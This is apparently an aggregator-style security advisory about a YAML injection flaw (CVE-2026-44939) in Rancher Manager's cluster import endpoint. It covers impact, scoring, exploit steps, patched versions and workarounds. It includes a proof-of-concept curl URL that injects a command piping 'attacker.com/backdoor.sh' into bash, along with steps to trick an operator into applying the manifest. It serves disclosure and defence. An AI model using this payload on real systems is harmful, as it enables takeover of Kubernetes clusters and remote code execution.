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How CVE-2026-44939 Works
This vulnerability resides in the Rancher Manager cluster import endpoint at /v3/import/{token}_{clusterId}.yaml. The endpoint accepts an `authImage` query parameter that is used to generate a Kubernetes manifest template. Due to insufficient input sanitization, the value of this parameter is inserted directly into the YAML template without proper validation.
YAML treats newline characters (\n) as structural delimiters. An attacker can supply URL-encoded newlines (%0A) within the `authImage` parameter to break out of the intended `image:` field. This allows the injection of arbitrary YAML keys and values into the rendered manifest. For example, an attacker can inject a `command:` field to execute arbitrary commands, or add entirely new container specifications.
To successfully exploit this vulnerability, an attacker must obtain a valid cluster registration token. These tokens can be exposed through documentation, screenshots, insecure communication channels, or other means. The victim’s cluster operator must then apply the maliciously crafted manifest using kubectl apply.
When the compromised manifest is applied, a DaemonSet is deployed with the attacker’s injected configuration. This DaemonSet is designed to run on all control-plane nodes with `hostNetwork: true` enabled. It uses the `cattle` service account, which possesses `cluster-admin` privileges, and mounts `/etc/kubernetes` directly from the host. The injected `command:` field executes attacker-controlled commands.
The Rancher API (/v3/ family) is commonly exposed directly on the internet for multi-cluster management, making this vulnerability network-reachable. No authentication or privileges are required to send the crafted request, aside from the token. The vulnerability is rated with a CVSS v3.1 base score of 9.6 (Critical) and a CVSS v4.0 score of 9.4 (Critical).
Successful exploitation allows an attacker to achieve full control over downstream Kubernetes clusters, execute arbitrary code on control-plane nodes with elevated privileges, access sensitive cluster secrets, disrupt cluster operations, and establish persistent access through the deployed DaemonSet.
DailyCVE Form:
Platform: Rancher Manager
Version: 2.10.0–2.14.1
Vulnerability: YAML/Command Injection
Severity: Critical (CVSS 9.6)
Date: 2026-05-27
Prediction: Patch 2026-05-27
What Undercode Say:
Analytics:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- EPSS: 0.14% (as of 2026-06-19)
Bash Commands & Codes:
1. Crafting a Malicious URL (Proof of Concept):
URL-encoded newline (%0A) injected into authImage to break YAML structure
curl "https://rancher.example.com/v3/import/{token}_{clusterId}.yaml?authImage=malicious-image%0Acommand:%20-%20/bin/sh%0A%20%20%20%20-%20-c%0A%20%20%20%20-%20'curl%20attacker.com/backdoor.sh%20|%20bash'"
2. Simulating Victim Action (Applying Malicious Manifest):
Victim operator applies the compromised manifest
kubectl apply -f https://rancher.example.com/v3/import/{token}_{clusterId}.yaml?authImage=<malicious_payload>
3. Verifying DaemonSet Injection (Post-Exploit Check):
Check for unexpected kube-api-auth DaemonSet in cattle-system namespace kubectl get ds -n cattle-system kube-api-auth -o yaml
Exploit:
To exploit CVE-2026-44939, an attacker must:
- Obtain a Cluster Registration Token: Acquire a valid token through information disclosure (e.g., exposed in documentation, screenshots, or logs).
- Craft a Malicious URL: Construct a request to `/v3/import/{token}_{clusterId}.yaml` with a crafted `authImage` parameter containing URL-encoded newlines (
%0A) and arbitrary YAML payload. - Trick Victim into Applying Manifest: Socially engineer or otherwise induce a cluster operator to execute `kubectl apply` against the malicious URL.
- Deploy Malicious DaemonSet: The injected YAML creates a DaemonSet on control-plane nodes with:
– `hostNetwork: true`
– `cattle` service account (cluster-admin privileges)
– Host `/etc/kubernetes` mount
– Attacker-controlled `command:` field
5. Achieve Full Cluster Compromise: Execute arbitrary commands, steal secrets, and establish persistence.
Protection:
- Immediate Patching: Upgrade to a patched version immediately:
– Rancher v2.14.2 or later
– Rancher v2.13.6 or later
– Rancher v2.12.10 or later
– Rancher v2.11.14 or later
– Rancher v2.10.12 or later
2. Input Validation (Fix): The patch validates the `authImage` parameter to allow only valid OCI image reference characters, rejecting newlines, whitespace, and other YAML-breaking characters.
3. Workarounds (If Patching is Not Feasible):
- Network Restriction: Restrict network-level access to the Rancher API (
/v3/import/endpoint) to trusted IP ranges only. - Token Management: Ensure cluster registration tokens are not exposed publicly.
- Manifest Integrity: Before running `kubectl apply` on any import manifests, verify that the source URLs originate from trusted sources and match expected patterns.
- DaemonSet Review: Inspect downstream clusters for the `kube-api-auth` DaemonSet within the `cattle-system` namespace. Review for unexpected `command:` or `args:` fields, non-standard container images, or modifications after initial cluster import.
Impact:
A successful exploit of CVE-2026-44939 can lead to:
- Full Downstream Cluster Compromise: Complete control over all resources in the downstream Kubernetes cluster.
- Arbitrary Code Execution: Execute arbitrary commands on control-plane nodes with elevated privileges.
- Secret Exfiltration: Access sensitive cluster secrets and configurations via the privileged `cattle` service account.
- Operational Disruption: Manipulate or disrupt critical control-plane workloads, leading to denial of service.
- Persistence: Establish long-term persistent access through the deployed malicious DaemonSet.
- Container Escape: Break out of the container environment to the host node.
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Sources:
Reported By: github.com
Extra Source Hub:
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